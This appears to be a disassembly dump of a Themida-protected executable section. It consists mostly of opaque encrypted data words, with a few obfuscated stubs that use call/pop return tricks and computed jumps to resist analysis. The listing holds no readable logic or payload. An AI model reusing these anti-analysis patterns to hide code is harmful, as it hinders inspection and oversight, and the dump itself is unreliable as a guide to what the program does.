		dd 63598C93h, 0D4DCE5C2h, 6358F1F0h, 0E794AC2h,	83BD4C34h
		dd 6AFA9151h, 883B2C91h, 59279828h, 36FAD76Eh, 0C18A6A9Ah
		dd 0F3058512h, 85D56565h, 144F5682h, 1BA8C264h,	7F9C57A9h
		dd 80506C54h, 0DB11559Ah, 8C6433D0h, 0CA606D73h, 0DC60720Eh
		dd 72923C18h, 7D0AB992h, 0A30A1BDh, 4453F7B9h, 0F6A12ACAh
		dd 49A8264Ah, 6C735F88h, 0C5BA65F3h, 0A42DC7FCh, 0B741912Fh
		dd 632FB0C1h, 0F8B85245h, 41313094h, 398ABA65h,	4DA4324Eh
		dd 0AC857F85h, 0FA2D8A17h, 48A8CEAEh, 1EE2Bh, 79835100h
		dd 0D76D6589h, 7AB4432Bh, 0D16B6888h, 73913D41h, 0C78DB59Fh
		dd 0E11DF50Fh, 0B9B54DF7h, 0D41CE61Ch, 0CBB47F9h, 0A61D44B0h
		dd 0E076C259h, 0ED04D21Ch, 5E23DA09h, 678B33CAh, 0CA5E2438h
		dd 40934091h, 6053080h,	0F0DFA21Ch, 6743EBA7h, 5E08647Bh
		dd 0A3F4BDCAh, 66757A55h, 1FEB17ACh, 2CAA07D2h,	8053DC18h
		dd 3EB31C40h, 0A65E75AFh, 16027A0Dh, 9F659F3Ah,	0DE007907h
		dd 0DFF4FA22h, 0A00DC8B8h, 3BA70933h, 0CA5E1924h, 219F347Dh
		dd 296E943Dh, 29A9C569h, 0BC7E8413h, 0B2CE765Ch, 0AA61D27h
		dd 582A4DBAh, 606E43FBh, 98A8EFE4h, 717C58F4h, 8B24E05Ah
		dd 0A4F3BC38h, 61E7D8CCh, 8A4529D2h, 0E4B37C78h, 0A3597AD6h
		dd 2DA8D430h, 58FDF914h, 3AD11E7h, 595BC0DFh, 3B8819C2h
		dd 0B6AD1975h, 0FC2595Ch, 3935D5C2h, 7EA5519Eh,	0D7C2595Ch
		dd 1FFBF9CAh, 5C48577Bh, 10A1C259h, 0A1E7F187h,	0BE14DB1Ah
		dd 45926E86h, 8345BFh, 0F76E6CE9h, 0AC2844F4h, 0DAF50394h
		dd 68F73F29h, 962D2087h, 2CA8C46Ch, 0E35D6C14h,	1FF8821h
		dd 42F8D9D6h, 0D6DAE9C2h, 4CA85C7Ah, 0CC681483h, 0DA1A22B0h
		dd 0F58B9A3Eh, 0CFE4A997h, 6C659304h, 0F5001FC3h, 4859A997h
		dd 6D59357Bh, 0A997F576h, 0C2408Dh, 3C18E4B3h, 6A966E96h
		dd 0AA528069h, 0B252814Ah, 1936B530h, 20931BBFh, 10BA7DD7h
		dd 49A03D4Ah, 0D321A9F9h, 3CF1A54Ah, 34637090h,	0A8248944h
		dd 14C05C98h, 0A997A40Dh, 5D665D66h, 22DCF753h,	0A42B3A9Eh
		dd 2F84A997h, 0BE06AA68h, 5C2F6E1Ch, 0D927709Ch, 5AE0F1FEh
		dd 0A8234769h, 0A793F196h, 0CBF50FC3h, 9798F827h, 178051A9h
		dd 1AE8h, 0AB244800h, 0C5D25B99h, 67C212CFh, 0DE2C6235h
		dd 1CC0A1E6h, 8A6A9240h, 0D2C6D6C1h, 0DEFAFA02h, 0C7B351F3h
		dd 0E410F40Eh, 0C09C58E8h, 0EA16EE16h, 0C09C58ECh, 0EF0BE913h
		dd 0BAA65ED8h, 7220E418h, 81E38953h, 4C3h, 4EB8300h, 8B241C87h
		dd 52682424h, 89000042h, 89572414h, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 243C895Ch, 2F5A6857h, 3C8B12B8h, 4C48124h
		dd 81000000h, 0B3D2AFEFh, 5FFA890Ah, 69068h, 24248900h
		dd 4240481h, 5F000000h,	729168h, 24048900h, 4789D089h
		dd 34FF5808h, 0C4815F24h, 4, 5124148Bh,	0C181E189h, 4
		dd 4C181h, 0C870000h, 0BDE95C24h, 28FFF5FDh, 2D37FED9h
		dd 94B80DB0h, 3080480h,	4E0FFC5h, 830F0DBFh, 0BC439C46h
		dd 0F70F3D5Eh, 6119011Ah, 9C13AEDFh, 0D94AB620h, 3A370654h
		dd 2B6E231Eh, 0A465A68Ch, 84625F7Eh, 1B3A5C21h,	6413EF5Eh
		dd 0E9481FCEh, 18h, 1283F555h, 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_64A873
; ---------------------------------------------------------------------------
		db 4Dh,	87h, 7Dh
		dd 0D3696985h, 6EA83F3Fh, 0CD775CA4h, 679D3935h, 0CB89A99Bh
		dd 0ED110103h, 0CDB161E3h, 0F0100200h, 20A75BE5h, 0A329389Ch
		dd 0E482C259h, 86BE1834h, 319BE56Eh, 2B5CF50Fh,	4AAE1269h
		dd 0CA5E241Bh, 48385F74h, 0AE21748Dh, 0D9E0F6C0h, 5D59F6EDh
		dd 51824FCAh, 52623E82h, 22046229h, 4958A064h, 0A2CA5E1Dh
		dd 0DFF410BEh, 60704CB8h, 0F6A3E7ECh, 0DF5533FDh, 0E3BD4972h
		dd 7D59A7F0h, 70198B4h,	5D40C2E1h, 3D861BCAh, 44FED773h
		dd 0A7F7B753h, 7CC8C5A3h, 43356286h, 6A3A7688h,	0D69065E5h
		dd 0A15B2C71h, 362D99F5h, 8FCA5D62h, 0A8235542h, 52761A96h
		dd 0CA5D6253h, 7D5917ACh, 0F3A42DC7h, 6D11AD89h, 8821E361h
		dd 5D624160h, 7E099ACAh, 0B5995082h, 0E7FEEA18h, 40CA5D61h
		dd 0B8A46073h, 0F10DE721h, 0BE9A5AE0h, 3B14F014h, 0BE9A518Ch
		dd 0C580D96Dh, 52883BCAh, 0E8526AEh, 0A824C1C8h, 0CD2109FAh
		dd 0C9CE0569h, 0E17DBD1Ch, 3C3C4BF1h, 81516F91h, 1B014A88h
		dd 860493D3h, 0FA0AC6AAh, 8D626B8Dh, 0B010C341h, 0F479BD20h
		dd 67308292h, 57BB03ABh, 0F97064D2h, 0BE17692Eh, 269DA731h
		dd 5DD7E68Ah, 0DEE6D22Ah, 0E86BD498h, 37A9535h,	0E45EEADAh
		dd 0D46C6808h, 0EA1BB5C3h, 8747C39Ch, 58586B6Ah, 0F88D1148h
		dd 86114A8Bh, 50F4E2FEh, 0F40CC8B4h, 14D74E10h,	61FDA137h
		dd 0A65E7871h, 0B64E854Eh, 7391A71Dh, 47AF25B6h, 0F646A540h
		dd 0C1C67E5Ah, 0C4EC16BFh, 7B69ECFCh, 86ED4D60h, 2D923770h
		dd 0B4432D96h, 0C17D0D7Ah, 0C60E349Dh, 0F7ACF4h, 0E5138490h
		dd 39CB05EAh, 268A268Ah, 5DA1A3C2h, 41A7FCCAh, 0CA5DA122h
		dd 0B0AF137Bh, 9CA5DA1h, 7C0BB8h, 5DA1524Ch, 0DB656FCAh
		dd 70923D19h, 0D46C6894h, 0B5309730h, 3CE01936h, 758F8920h
		dd 15FEE8DCh, 0EECCAEA5h, 1D1DBCA9h, 4664E595h,	9D367587h
		dd 0FC48D67h, 0B5D48588h, 4A80595h, 5DE7C1E0h, 0FE891ACAh
		dd 10581h, 0D7FB9F00h, 0CA5DE7C8h, 15079021h, 0E1636E12h
		dd 0A20FCAB6h, 0D7CEFA37h, 30CA5E23h, 0FBD430A3h, 51D8E8C8h
		dd 0FA0AC401h, 19A331FAh, 0A22B55CAh, 0BCCB64A0h, 744C5440h
		dd 3F0963FFh, 51ED2C5h,	20CA5D73h, 8D698BB5h, 8345BF45h
		dd 8D6CE900h, 0FF01CBAFh, 2E0ECD98h, 343945A6h,	536F659Fh
		dd 6DA0E7B9h, 59524FCh,	0B0Fh, 698D3100h, 0CA5D773Ah, 43593E93h
		dd 8620C212h, 2EC8351Bh, 6433A0A4h, 2A86BE14h, 7C788C46h
		dd 3C18E4B3h, 2E526E96h, 7E844DA4h, 7116AD86h, 8E432713h
		dd 0FCD52374h, 0CA2AE4F3h, 0D2EED201h, 5DF2FF26h, 3C4B58CAh
		dd 83894C0h, 39C310ECh,	617807BBh, 7A4AF6F4h, 0FC106D85h
		dd 9845525Ah, 4E5D0141h, 0F09730D4h, 963BC210h,	5ACCA357h
		dd 6747BB08h, 0CE809F43h, 0C8D9CA5Dh, 0CDE5FCE8h, 753ECA5Dh
		dd 36FBD622h, 0CE776E5Ah, 3D0CA5Dh, 5DCDEEF5h, 497A47CAh
		dd 4D2D1B9h, 0E22220ADh, 91AB2749h, 0F7E27E42h,	0D6C23A4Dh
		dd 0DEA9637Ah, 1FB930A2h, 3D861FE5h, 45FFD773h,	0E3A1E6BFh
		dd 0DF25DFF7h, 0CB29DBF3h, 4518817h, 7955F9A7h,	0CA21BCCBh
		dd 4CF8D67Ah, 74913D3Bh, 6AAD670Eh, 87299A8Eh, 7AA0BF23h
		dd 0A8F9CA5Dh, 2F8B33DFh, 5D7A9CC3h, 0DBACF5CAh, 0D9FD329Dh
		dd 0CA5D79CAh, 0E0F28E23h, 0B18D675Ch, 20200CDh, 8B225E29h
		dd 874B2F91h, 0C7AF777Dh, 72F3DC84h, 0F78512C1h, 0B450F2DBh
		dd 8FF10BC8h, 0D36D6845h, 0C92B9831h, 2E0ECDD8h, 5DF49BCAh
		dd 0F4DFF4CAh, 8F4A2612h, 0D1B68F75h, 4965D514h, 5DF4869Dh
		dd 547FDFCAh, 9F6E19AAh, 595B3BEh, 202CEB2h, 0A15E2902h
		dd 16Dh, 28379BFFh, 81CA5DEAh, 854EF4DDh, 6E120212h, 8922E262h
		dd 0DDD402FEh, 518450F2h, 0B94BD0BAh, 0C60EB221h, 0DE839880h
		dd 32CC0786h, 0B28EF6A1h, 6EBBEA0Eh, 0BF14CA5Dh, 0C411A8D8h
		dd 360FF50Fh, 478B678Dh, 1DD76D6Ah, 99C53F94h, 9D230338h
		dd 0B4567EA0h, 0DF56E51Fh, 0E39B4FFCh, 0E2B54F87h, 0FC60E0FBh
		dd 0FCD52FD1h, 90616D8Bh, 6F37BD47h, 7C13707Eh,	0D8EBD833h
		dd 1110B4D8h, 28CA5DF8h, 0D45D9791h, 58B2E5EEh,	0A8334858h
		dd 280BF11Ah, 5DC9A5BCh, 1EB5FECAh, 0B64F8779h,	0CB209DFDh
		dd 0DB0AEE91h, 34CA5D7Fh, 824C349Fh, 5F6F5182h,	0A75578A0h
		dd 840087B7h, 0D1D0F498h, 2ACA5D35h, 42FCD799h,	629EE9C2h
		dd 4D29CB71h, 57838183h, 6841C37Dh, 0BA1ECB08h,	0CA5D36ABh
		dd 0E024AF04h, 0FA57924Bh, 9AAA41FCh, 0EBF8800Ah, 2947489Bh
		dd 1EEF9892h, 595073Fh,	606CA131h, 759235A5h, 0D85522h
		dd 97B30000h, 8094033Dh, 3B0104D2h, 3DDBB459h, 0AA192BA6h
		dd 0CFF39719h, 0CA5E0ED0h, 95EF9829h, 4B836C69h, 61723BB9h
		dd 2DD7FB5Fh, 7C788A43h, 9918E4B3h, 78755FFBh, 6631A25Ah
		dd 80DC5C7Fh, 0CC785653h, 0D0349F28h, 667090F7h, 45BF418Bh
		dd 69CAB86Dh, 52819DD9h, 25AD9181h, 77610174h, 369E27CDh
		dd 0BCCB48A9h, 9DC212D8h, 4160844Fh, 9ACA5E1Dh,	71F3BB09h
		dd 6A6898FFh, 0BAB547Fh, 0A6EB3825h, 0CFF1E2F1h, 6A1D27ABh
		dd 884A2612h, 0D0B79074h, 5D44F628h, 378413CAh,	9272619Bh
		dd 1DD76D66h, 0D582596Ch, 0EBE48834h, 6E129B59h, 2DB8DF65h
		dd 0DBF28EAEh, 7D0AA361h, 955AD988h, 3CFAB05h, 8B0200FAh
		dd 706387F7h, 2BCCBB94h, 6, 60DAF18Dh, 3BD26537h, 0BAEFBF01h
		dd 52BD4F39h, 5F74903Eh, 0CCF0CC38h, 5DE4F928h,	538152CAh
		dd 0CD6AFF9h, 57A9EE58h, 0DC666F7Ch, 28A5C9E7h,	0E30F6D1Ah
		dd 0C19D57E9h, 1809EB11h, 0E7014E8Dh, 6A818158h, 506F37B1h
		dd 458EACB8h, 4CF6DF7Bh, 1A781FA8h, 51983A16h, 5D7F7EA5h
		dd 0F9CAD7CAh, 1D6532FBh, 7ED18F9Bh, 0C8CF8626h, 75D9B5FBh
		dd 1ADEA95Bh, 0D257667Ch, 0BF458DF1h, 0A0446C45h, 0C2634181h
		dd 4BEC9DAh, 34D0705Ch,	2488289Bh, 6341A1C0h, 0DEA9FAC2h
		dd 129F3A26h, 0ECC53FC5h, 3B832BD7h, 0B98B797Eh, 8672253Ch
		dd 0E41EA64Bh, 118B3706h, 0AE3A698Fh, 3E93C263h, 0A7C36F95h
		dd 7711610h, 0C263ADD6h, 9A5AE0F1h, 8EF015BEh, 95732580h
		dd 4CE420B3h, 0ECAB4CBCh, 41C018E4h, 8420ADAAh,	982D893Ch
		dd 0E58B4F45h, 0B02D5AE8h, 7FB90939h, 707C88C9h, 8C3B5E2h
		dd 48240CF6h, 0D622758Fh, 0BC6E36FBh, 37E86FA0h, 0BE756C7Ch
		dd 0B2CEC263h, 20B32024h, 0F010BCA0h, 0D601DDA7h, 0A1A8702Dh
		dd 0B9F7FCBFh, 63D2160Dh, 71626FC2h, 0D36D6793h, 15719931h
		dd 0C4CEBABAh, 13F113BCh, 410ECD44h, 6E5A366Ah,	0C263CE77h
		dd 9112D6E2h, 8F3344DBh, 51885542h, 9DE1E1F1h, 0FC8AB29Ah
		dd 8D626D8Bh, 0B10FC47Eh, 6FE04CDh, 0DDB05A2Dh,	26F898Ch
		dd 801BD0E0h, 4D9DB3F2h, 2B5BD3Ah, 0DCB70000h, 97B3FDFEh
		dd 0A395023Ch, 0D96B6307h, 27684AAEh, 4727D258h, 0B992728Ch
		dd 864EEA0Ah, 0FD8D6C0Ah, 0CF036DEAh, 0BB166235h, 0C46D598Ah
		dd 0DAE9ACEBh, 3996BAD6h, 9860E90Bh, 0C2636089h, 4CC6D1E2h
		dd 37F10864h, 55A3F4BDh, 1211B57Ah, 6BC26360h, 0AB876D56h
		dd 8CFB05CFh, 0F0CC616Ch, 635FDD04h, 7B6D36C2h,	0C2636064h
		dd 0E1DFF4BDh, 379B547Dh, 0C2636028h, 0DDA33081h, 0BE4651F3h
		dd 2121B8CDh, 956F953Dh, 22ADCBBCh, 20200CDh, 0C8689A29h
		dd 0DC1828A4h, 10414453h, 64026F41h, 0CF35CF08h, 0BBEE91F6h
		dd 52000000h, 0F5A2A22Eh, 12AE121Fh, 5E23BFE6h
		dd 5D8B18CAh, 0CA5E2446h, 7D85129Fh, 6C10B0BDh,	8A23E163h
		dd 3B5F3BFDh, 5E248897h, 0C7D0E1CAh, 5E241231h,	9C5A94Ah
		dd 4809B9FCh, 0E7DCD3F6h, 0F311A2A0h, 5E06607Fh, 0A660774Ah
		dd 9BA1324Eh, 7B5EE559h, 0E7B709CEh, 0D376E2D1h, 3B22754Eh
		dd 1C10A0A0h, 6C735FEAh, 0C54A5DE5h, 0A5BCC8FCh, 4D0DF5A2h
		dd 941C8040h, 4A15E6B6h, 273EAA6Ah, 804A5D97h, 38546433h
		dd 87B914h, 5D974978h, 18BCE0CAh, 0CA5D9709h, 7C465162h
		dd 0ECE58927h, 82159E56h, 33982808h, 32AB7A59h,	5C156235h
		dd 73000001h, 0CDB4AB17h, 0C40DCA5Dh, 0FEDCC1D3h, 23E7FEEAh
		dd 7340CA5Eh, 983C6060h, 0CA5E2489h, 0AA98D2E2h, 2DBD9173h
		dd 6B4FF196h, 0D1E8C50Fh, 0BF149D57h, 495620D8h, 0BB03D257h
		dd 0ECBB7BAEh, 0B38FF802h, 0C7FC06CBh, 0C92D912Dh, 0C262F29Ah
		dd 0C7B9DEF3h, 0B2CEF20Ch, 4AE3211Bh, 8DF1CD3Dh, 0A4D4C341h
		dd 0FA0AC429h, 1EA231FAh, 36D9742h, 0B45037C9h,	2140A408h
		dd 7AC262F2h, 869A5E29h, 0A7C262F3h, 3EF152Fh, 7BB39CBh
		dd 0E9F46178h, 0B106834Bh, 95A31983h, 0C0805B02h, 880F319Ch
		dd 83505D78h, 5E664A79h, 0D9F41F75h, 65269D27h,	0BD811176h
		dd 0E80C36A1h, 8852385Fh, 5A9AA230h, 0E2BE02D1h, 34A0517Eh
		dd 0C262852Dh, 1863D86h, 6706CC77h, 23535BCAh, 120300B7h
		dd 9F340E79h, 0B9D5B965h, 5E1D160Dh, 96626FBAh,	0BA5E1D8Fh
		dd 0CCACDBE8h, 0B82C0001h, 7CBC40A3h, 5D1AD47h,	0C2D905FFh
		dd 0A938AC48h, 17C32532h, 87169B33h, 0F5DE678Dh, 0EA20BBA2h
		dd 22DAF850h, 666B0FB1h, 88F18DCh, 0DAF85438h, 7B49E222h
		dd 9C4FD0C2h, 512770B0h, 0C26218B6h, 96AC2945h,	0F8C2D55Eh
		dd 0FC47C58h, 0BAE90DB1h, 25B25915h, 70C13880h,	264A686Bh
		dd 5F289BA9h, 626F0BB3h, 12EDAFD8h, 241B4AAEh, 0C74CA5Eh
		dd 0EDC63EC6h, 0FFD9B1D6h, 0F3112BA7h, 6347695Ah, 0D430CA07h
		dd 21E48CFBh, 0B2D262A5h, 76403B22h, 3B889EE6h,	0BAE62D75h
		dd 0CBF90BC3h, 0A32F6C96h, 1D25B99h, 8252EE96h,	1C6918EEh
		dd 0A5D3C440h, 898182Ah, 0A02124BAh, 0B64C85C2h, 395E753Eh
		dd 0DB9D5D9h, 0C259D116h, 39C30F6Fh, 0BB963A8Ah, 89AB51A1h
		dd 0DAD702FEh, 2BD9F5FCh, 0E9852B98h, 0D33156ECh, 1FC3E7h
		dd 59C259F3h, 43B93F48h, 92DCE16Ch, 17F8E6EEh, 362C2ABBh
		dd 0A5559451h, 46EA182Ah, 0EE99932Ah, 0E9EAC712h, 0AB18B153h
		dd 0C5526905h, 0D2D80221h, 7D465BA7h, 0FEC6720Ah, 0EBF8DF65h
		dd 6B7A5E10h, 0C4A7D2BEh, 0C5B3E4EFh, 1729A30Ch, 417F54DDh
		dd 7391B31Dh, 234FADDAh, 805C98AAh, 9355AF69h, 5C7CD910h
		dd 0E9F8DCC0h, 42A7D2BDh, 3E958F1Eh, 0ED4D8C59h, 0BDFE25D1h
		dd 4A57A7D2h, 1B903B3Dh, 0D04291B3h, 5304CCF0h,	40B4D271h
		dd 0AA3B6A8Eh, 8552A7D2h, 6AC857Fh, 23AECABDh, 1337E321h
		dd 0A78084BEh, 129FE0h,	9D010000h, 0D2AA2A39h, 692E83A7h
		dd 0F18D3333h, 64385FE5h, 0FAFA02D2h, 0B351F3DEh, 10F40EC7h
		dd 9C58E8E4h, 16EE16C0h, 9C58ECEAh, 0BE913C0h, 0A65ED8EFh
		dd 20E418BAh, 50486872h, 8F540000h, 4832404h, 89560424h
		dd 4C681E6h, 83000000h,	348704EEh, 1C895C24h, 0E7895724h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 57243489h,	48185BFh
		dd 8BFB8908h, 0C483243Ch, 348B5404h, 4C48324h, 24348153h
		dd 17AE0642h, 5008468Fh, 8B8h, 81F00100h, 0AE064230h, 34FF5817h
		dd 0C4835E24h, 2434FF04h, 4C4815Bh, 0E9000000h,	0FFF5F178h
		dd 0D10567C1h, 0AA21A476h
		db 88h,	20h, 0B6h
; ---------------------------------------------------------------------------


loc_64A873:				; CODE XREF: Themida_:00649C84j
		mov	eax, 8048CE9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 38930549h, 4BED790Dh, 24C5F6B6h, 107E0C97h, 5C5F108Eh
		dd 0BA2DBF8h, 38D0D1F0h, 68588089h, 459A397h, 5C4C75EBh
		dd 5C41647Eh, 515C7083h, 69599C7Eh, 12CA18EBh, 48816D77h
		dd 5A71C7F9h, 88463E7h,	0D4D34BAh, 2CC84067h, 4BBA7A74h
		dd 8E9F8D8Dh, 6A0804h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8BEF6EC3h, 0C18D89F3h, 8B07FA27h
		dd 0FA32B995h, 185C707h, 4C07FA1Ch, 6A00006Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0A6E0C356h, 37FB4C4Ah, 58F0F20h, 0BB000000h,	29409A88h
		dd 4E1958Bh, 85C707FAh,	7FA1AEDh, 0
; ---------------------------------------------------------------------------
		and	edx, 1B3EE27h


loc_64A94A:				; CODE XREF: Themida_:0064A96Dj
		push	dword ptr [ebp+7FA2D45h]
		push	0
		push	ecx
		call	sub_64A95B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_64A95B	proc near		; CODE XREF: Themida_:0064A953p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx


loc_64A960:				; CODE XREF: Themida_:0064A96Bj
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_64A95B	endp

; ---------------------------------------------------------------------------
		jb	short loc_64A960
		jle	short loc_64A94A
		call	dword ptr [ebp+7FA177Dh]
		push	0
		push	ebx
		call	sub_64A980
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_64A980	proc near		; CODE XREF: Themida_:0064A978p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_64A980	endp

; ---------------------------------------------------------------------------
		dd 8D29776Eh, 7FA24E9h,	9076BB66h, 95FF006Ah, 7FA012Dh
		dd 1AEBC08Bh, 0B422D9F4h, 1F889FFBh, 0EBFE256Eh, 72F3C6F7h
		dd 7366A97h, 77C683C6h,	8D8D166Ah, 8048F4Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 56C35040h, 0B69D282Ah
		dd 4D8D2967h, 8907FA1Ah, 0FA27C18Dh, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B70F5335h
		dd 185C7C3h, 8807FA1Ch,	8900006Bh, 0FA35399Dh, 0ED85C707h
		dd 7FA1Ah, 0F000000h, 0B5FFC2BFh, 7FA2B95h, 1E699D89h
		dd 95FF07FAh, 7FA177Dh,	66408EBBh, 0FF006A53h, 0FA012D95h
		dd 0EBC08B07h, 3F85823Fh, 9F86B349h, 7D95BAADh,	0BD588FD5h
		dd 0A58BA6D3h, 0A770987Bh, 0F4C3ED2h, 7C87AE38h, 0B97C9533h
		dd 861363D5h, 7EEA76FFh, 4029768Ch, 37C50BBDh, 0E48BD7BAh
		dd 3B5A04FFh, 6ADA047Fh, 90158D8Dh, 8B660804h, 0C18D89D0h
		dd 6A07FA27h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F97DC350h, 1C0185C7h,	64B807FAh
		dd 858B0000h, 7FA14FDh,	1AED85C7h, 7FAh, 0D7810000h, 7A65E271h
		dd 235B5FFh, 0B5207FAh,	0FA1BD985h, 95FF5E07h, 7FA177Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 23C35040h
		dd 6A15FDh, 12D95FFh, 0C08B07FAh, 0C8C66AEBh, 6DA8B807h
		dd 9F676B44h, 4EA91D44h, 0B9E55903h, 0B2A7904Ch, 33E5FBAAh
		dd 0D6B5BE2Ch, 89588B3Bh, 0F544374Fh, 2A17197Ch, 7AA7485Fh
		dd 6A882440h, 0AC73B6C1h, 476763C9h, 0B808BB86h, 8A6B29C3h
		dd 0E0D1E736h, 61FE7BD3h, 93194065h, 823C32Ah, 7CFB0390h
		dd 6553B127h, 7CD7852Ah, 0D69C2863h, 0FCBE151Ch, 0C50234Bh
		dd 10EBh, 3 dup(0)
		dd 0C08B0000h, 7C58D89h, 0BD8307FAh, 7FA16D1h, 83097500h
		dd 0FA3535BDh, 19740007h, 0C08B5350h, 42DB8h, 2D858900h
		dd 8D07FA1Eh, 0FD3FDA9Dh, 5BD3FF07h, 35BD8358h,	7FA35h
		dd 53501774h, 42DB8h, 2D858900h, 8D07FA1Eh, 0FD3CC99Dh
		dd 5BD3FF07h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 66DC3FF2h, 189638A7h, 13E893h, 0FB760000h
		dd 1F2A5721h, 27C57BD0h, 0B91FC9E0h, 1253E8E6h,	7195895Ch
		dd 5E07FA17h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	4CC35747h, 0D2B84127h, 9BD958Bh, 0C08B07FAh, 24558589h
		dd 8D8B07FAh, 7FA0CB9h,	83F08AF5h, 840F00F9h, 98h, 4EE28166h
		dd 3D8B6460h, 2Ch, 0FF0BD78Bh, 82840Fh,	6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0D2E82FC3h, 0CB0D7C69h, 12FD958Bh, 3F8B07FAh, 11E8h
		dd 0CEADEB00h, 4F59BDAEh, 0A354C787h, 57EFB7D9h, 8D8964D8h
		dd 7FA1C6Dh, 0E9C0325Eh, 13h, 7C7AFB31h, 0D9B1ADB4h, 0D9D0EDC5h
		dd 9962B7D6h, 0F3244BBFh, 56006AAAh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0D8CA80E3h
		dd 50414935h, 85C6F553h, 7FA1571h, 685BB647h, 0B3A3CF56h
		dd 0D6240481h, 0FF2932B8h, 0FA1E8DB5h, 858DF807h, 7FE3A58h
		dd 2D9D9D29h, 0D0FF07FAh, 6870Fh, 95330000h, 7FA167Dh
		dd 9918589h, 0EE907FAh,	0B3000000h, 0BE7E8C66h,	1B13C697h
		dd 0EAF07C5h, 85C6F992h, 7FA1571h, 0E1BA6653h, 4E89Fh
		dd 6AFC0000h, 0E8608898h, 0Ah, 0ADF0FC3Dh, 0CC8E03B5h
		dd 8B661909h, 50605BCAh, 5A310F52h, 10E858h, 768A0000h
		dd 0BBE5F38Fh, 0C81B7861h, 0F28F8FC2h, 615992EAh, 8BBE5061h
		dd 8B37FDDEh, 8B042444h, 53008BD6h, 895ED2B6h, 58042444h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E4C35040h
		dd 1E8DB5FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 399396C3h, 9065B101h, 0F0C3426h
		dd 685h, 0CD9D2900h, 0F07FA25h,	580h, 5AE5BE00h, 858D50D2h
		dd 7FE3A58h, 3331958Bh,	0D0FF07FAh, 19F1958Bh, 858D07FAh
		dd 7FDD23Ch, 6658589h, 206A07FAh, 95FFFF6Ah, 7FA0665h
		dd 50414935h, 6185C753h, 107FA04h, 0C7000000h, 0FA168185h
		dd 7, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 3A03C121h, 0AF61685Dh, 6AD3BF0Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0FC1FC350h, 1C42BADAh, 858B76E4h,	7FA0929h
		dd 0FAEE680h, 688h, 8D958B00h, 6407FA1Bh, 0A3h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 4A73228h, 8A9A2542h,	8C0F8BAFh, 6, 1209958Bh, 0BD2907FAh
		dd 7FA28ADh, 9EDBD83h, 0F0007FAh, 1A84h, 68C0F00h, 31000000h
		dd 0FA09158Dh, 0A5858B07h, 0FC07FA12h, 0E7BEE08Bh, 836A7812h
		dd 0FA26D1BDh, 850F0007h, 3BDh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 12C35747h, 0F734DFE8h, 890934C9h
		dd 0FA292185h, 7185C607h, 5607FA15h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0E9C35242h,	0C2AB1250h, 4B3E0B60h
		dd 4E837B6h, 0DF000000h, 8BA9C530h, 20BE50D7h, 8B219B3Bh
		dd 0BA042444h, 13600555h, 5A57008Bh, 4244489h, 0CB8EBE66h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0BD27789Dh, 118D7B58h, 8DB5FFFBh, 8907FA1Eh
		dd 0FA3505BDh, 58858D07h, 0BE07FE3Ah, 2D6C3CBBh, 0BD89D0FFh
		dd 7FA1641h, 0BE950h, 0D2CB0000h, 6D0468DAh, 0E95620E8h
		dd 240489AAh, 0D2F225BEh, 8D8DF960h, 7FA0271h, 6810Fh
		dd 0B58B0000h, 7FA1979h, 130DEBAh, 0FAB65047h, 6A240C89h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0E144C356h, 33EB64BEh, 66046A1Ah,	0F8BFB7BAh
		dd 3587F868h, 81D18B72h, 97F82434h, 8B667235h, 4DB5FFD1h
		dd 8B07FA1Eh, 0FA283595h, 6AD0FF07h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0BC9C350h
		dd 0FA1DD595h, 4DBD8B07h, 0E907FA1Eh, 0Bh, 81324A44h, 482D9F06h
		dd 8BEF62E5h, 0FA051DB5h, 3C7F0307h, 615B589h, 0C78107FAh
		dd 0F8h, 0CE9h,	6AAD0F00h, 10238B74h, 0E3146025h, 2447C736h
		dd 60000020h, 16E58589h, 0F28107FAh, 32F89D7Ch,	9086BD83h
		dd 0F000804h, 12084h, 18BE6600h, 28C7830Fh, 0C7AAE280h
		dd 696A2E07h, 5BD8964h,	0C707FA1Ch, 74610447h, 858B0061h
		dd 804908Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0F3C35040h, 0A292C84Bh,	0EE90Eh, 0F27F0000h, 97FFED7Ah
